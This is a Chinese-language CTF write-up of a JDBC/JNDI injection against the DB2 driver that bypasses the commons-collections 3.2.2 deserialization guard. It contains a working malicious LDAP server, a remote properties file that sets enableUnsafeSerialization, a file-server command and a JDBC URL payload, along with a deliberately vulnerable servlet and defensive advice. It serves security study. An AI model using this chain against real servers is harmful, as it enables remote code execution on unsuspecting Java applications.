Java_JDBC(commonscollection3.2.2)Bypass
字数 1630 2025-08-18 11:36:53

Java JDBC (commons-collections 3.2.2) Bypass 技术分析

0x01 题目分析

题目背景

  • 题目来自第四届赣网杯的web5
  • 提供一个数据库连接测试页面
  • 考点是DB2的JNDI注入

关键依赖

  • commons-collections-3.2.2.jar - 存在反序列化限制
  • commons-configuration - 提供可利用的类
  • tomcat-jdbc - 提供可利用的工厂类

限制条件

  1. CC3链限制

    • commons-collections-3.2.2版本对CC3反序列化的类做了限制
    • 关键类如InstantiateTransformerInvokeTransformer无法被反序列化
    • 限制检查在FunctorUtils.checkUnsafeSerialization方法中实现
  2. JDK版本限制

    • 高版本JDK对RMI和LDAP做了限制
    • RMI限制始于6u132, 7u122, 8u113
    • LDAP限制始于11.0.1, 8u191, 7u201, 6u211
  3. Tomcat限制

    • Tomcat 8.5.96修复了org.apache.naming.factory.BeanFactory的利用方式

0x02 利用思路

关键发现

  1. 可利用类

    • org.apache.tomcat.jdbc.naming.GenericNamingResourcesFactory#getObjectInstance
      • 可以加载类并进行无参实例化
      • 可以调用setter方法
    • org.apache.commons.configuration.SystemConfiguration
      • setSystemProperties方法可以远程加载配置文件设置系统属性
  2. 绕过思路

    • 利用SystemConfiguration修改系统属性org.apache.commons.collections.enableUnsafeSerializationtrue
    • 这样就能绕过commons-collections-3.2.2的反序列化限制
    • 然后正常使用CC3链进行攻击

攻击流程

  1. 通过LDAP服务返回一个恶意的Reference对象
  2. 利用GenericNamingResourcesFactory加载SystemConfiguration
  3. SystemConfiguration从远程加载配置文件设置系统属性
  4. 设置org.apache.commons.collections.enableUnsafeSerialization=true
  5. 之后就可以正常使用CC3链进行反序列化攻击

0x03 环境搭建

Maven依赖

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.2</version>
</dependency>
<dependency>
    <groupId>commons-configuration</groupId>
    <artifactId>commons-configuration</artifactId>
    <version>1.8</version>
</dependency>
<dependency>
    <groupId>commons-lang</groupId>
    <artifactId>commons-lang</artifactId>
    <version>2.6</version>
</dependency>
<dependency>
    <groupId>commons-logging</groupId>
    <artifactId>commons-logging</artifactId>
    <version>1.1.3</version>
</dependency>
<dependency>
    <groupId>com.ibm.db2.jcc</groupId>
    <artifactId>db2jcc</artifactId>
    <version>db2jcc4</version>
</dependency>

JSP页面 (index.jsp)

<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>Test Connect Form</title>
</head>
<body>
<h2>Test Connect Form</h2>
<form action="TestDBConnection" method="post">
    <label for="connectionString">URL:</label><br>
    <input type="text" id="connectionString" name="connectionString" required><br>
    <label for="username">Username:</label><br>
    <input type="text" id="username" name="username" required><br>
    <label for="password">Password:</label><br>
    <input type="password" id="password" name="password" required><br>
    <input type="submit" value="submit">
</form>
</body>
</html>

数据库连接Servlet (TestDBConnection.java)

import java.io.IOException;
import java.io.PrintWriter;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

@WebServlet("/TestDBConnection")
public class TestDBConnection extends HttpServlet {
    private static final long serialVersionUID = 1L;

    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        response.setContentType("text/html;charset=UTF-8");
        PrintWriter out = response.getWriter();
        
        String connectionString = request.getParameter("connectionString");
        String username = request.getParameter("username");
        String password = request.getParameter("password");

        try {
            // 加载DB2 JDBC驱动
            Class.forName("com.ibm.db2.jcc.DB2Driver");
            // 尝试建立数据库连接
            Connection connection = DriverManager.getConnection(connectionString, username, password);
            // 如果成功连接,则输出成功消息
            out.println("<html><body><h2>连接成功!</h2></body></html>");
            // 关闭连接
            connection.close();
        } catch (ClassNotFoundException | SQLException e) {
            // 如果连接失败,则输出错误消息
            out.println("<html><body><h2>连接失败!</h2><p>" + e.getMessage() + "</p></body></html>");
        } catch (NamingException e) {
            throw new RuntimeException(e);
        }
    }
}

0x04 攻击实现

LDAP服务器代码

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.io.*;

public class LDAPServer {
    static String userDN = "dc=ldap;dc=com";

    public static void main(String[] args) throws Exception {
        System.setProperty("org.apache.commons.collections.enableUnsafeSerialization","true");
        
        InMemoryDirectoryServerConfig imConfig = new InMemoryDirectoryServerConfig(userDN);
        imConfig.setListenerConfigs(new InMemoryListenerConfig(
            "listen", 
            InetAddress.getByName("0.0.0.0"),
            1379, 
            ServerSocketFactory.getDefault(), 
            SocketFactory.getDefault(), 
            (SSLSocketFactory)SSLSocketFactory.getDefault())
        );
        imConfig.addInMemoryOperationInterceptor(new LdapInterpetor());
        
        InMemoryDirectoryServer ldapServer = new InMemoryDirectoryServer(imConfig);
        ldapServer.startListening();
    }

    static class LdapInterpetor extends InMemoryOperationInterceptor {
        private static Reference systemConfiguration(){
            Reference ref = new Reference(
                "org.apache.commons.configuration.SystemConfiguration",
                "org.apache.tomcat.jdbc.naming.GenericNamingResourcesFactory", 
                null
            );
            ref.add(new StringRefAddr("SystemProperties", "http://127.0.0.1:6666/system.txt"));
            return ref;
        }

        private static byte[] serializeObject(Serializable obj) {
            try (ByteArrayOutputStream bos = new ByteArrayOutputStream();
                 ObjectOutputStream oos = new ObjectOutputStream(bos)) {
                oos.writeObject(obj);
                return bos.toByteArray();
            } catch (IOException e) {
                e.printStackTrace();
                return null;
            }
        }

        @Override
        public void processSearchResult(InMemoryInterceptedSearchResult request) {
            Entry entry = new Entry(request.getRequest().getBaseDN());
            try {
                System.out.println("start");
                String className = "java.lang.String";
                entry.addAttribute("javaSerializedData", serializeObject(systemConfiguration()));
                entry.addAttribute("javaClassName",className);
                entry.addAttribute("objectClass","javaNamingReference");
                request.sendSearchEntry(entry);
                request.setResult(new LDAPResult(0, ResultCode.SUCCESS));
                System.out.println("stop");
            }catch (Exception e){
                e.printStackTrace();
            }
        }
    }
}

配置文件内容 (system.txt)

org.apache.commons.collections.enableUnsafeSerialization=true

启动文件服务器

python -m http.server 6666

攻击Payload

使用DB2的JNDI注入payload格式:

jdbc:db2://127.0.0.1:50001/db:clientRerouteServerListJNDIName=ldap://127.0.0.1:1379/abc

0x05 技术总结

  1. 关键点

    • 利用GenericNamingResourcesFactory加载SystemConfiguration
    • SystemConfiguration可以远程设置系统属性
    • 设置org.apache.commons.collections.enableUnsafeSerialization=true绕过CC3限制
  2. 利用条件

    • 目标使用commons-collections-3.2.2
    • 目标包含commons-configuration依赖
    • 目标使用Tomcat JDBC连接池
  3. 防御建议

    • 升级commons-collections到安全版本
    • 限制JDBC连接字符串的输入
    • 禁用不必要的JNDI查找功能
    • 使用高版本JDK并配置安全策略
Java JDBC (commons-collections 3.2.2) Bypass 技术分析 0x01 题目分析 题目背景 题目来自第四届赣网杯的web5 提供一个数据库连接测试页面 考点是DB2的JNDI注入 关键依赖 commons-collections-3.2.2.jar - 存在反序列化限制 commons-configuration - 提供可利用的类 tomcat-jdbc - 提供可利用的工厂类 限制条件 CC3链限制 : commons-collections-3.2.2 版本对CC3反序列化的类做了限制 关键类如 InstantiateTransformer 、 InvokeTransformer 无法被反序列化 限制检查在 FunctorUtils.checkUnsafeSerialization 方法中实现 JDK版本限制 : 高版本JDK对RMI和LDAP做了限制 RMI限制始于6u132, 7u122, 8u113 LDAP限制始于11.0.1, 8u191, 7u201, 6u211 Tomcat限制 : Tomcat 8.5.96修复了 org.apache.naming.factory.BeanFactory 的利用方式 0x02 利用思路 关键发现 可利用类 : org.apache.tomcat.jdbc.naming.GenericNamingResourcesFactory#getObjectInstance 可以加载类并进行无参实例化 可以调用setter方法 org.apache.commons.configuration.SystemConfiguration setSystemProperties 方法可以远程加载配置文件设置系统属性 绕过思路 : 利用 SystemConfiguration 修改系统属性 org.apache.commons.collections.enableUnsafeSerialization 为 true 这样就能绕过 commons-collections-3.2.2 的反序列化限制 然后正常使用CC3链进行攻击 攻击流程 通过LDAP服务返回一个恶意的 Reference 对象 利用 GenericNamingResourcesFactory 加载 SystemConfiguration SystemConfiguration 从远程加载配置文件设置系统属性 设置 org.apache.commons.collections.enableUnsafeSerialization=true 之后就可以正常使用CC3链进行反序列化攻击 0x03 环境搭建 Maven依赖 JSP页面 (index.jsp) 数据库连接Servlet (TestDBConnection.java) 0x04 攻击实现 LDAP服务器代码 配置文件内容 (system.txt) 启动文件服务器 攻击Payload 使用DB2的JNDI注入payload格式: 0x05 技术总结 关键点 : 利用 GenericNamingResourcesFactory 加载 SystemConfiguration SystemConfiguration 可以远程设置系统属性 设置 org.apache.commons.collections.enableUnsafeSerialization=true 绕过CC3限制 利用条件 : 目标使用 commons-collections-3.2.2 目标包含 commons-configuration 依赖 目标使用Tomcat JDBC连接池 防御建议 : 升级 commons-collections 到安全版本 限制JDBC连接字符串的输入 禁用不必要的JNDI查找功能 使用高版本JDK并配置安全策略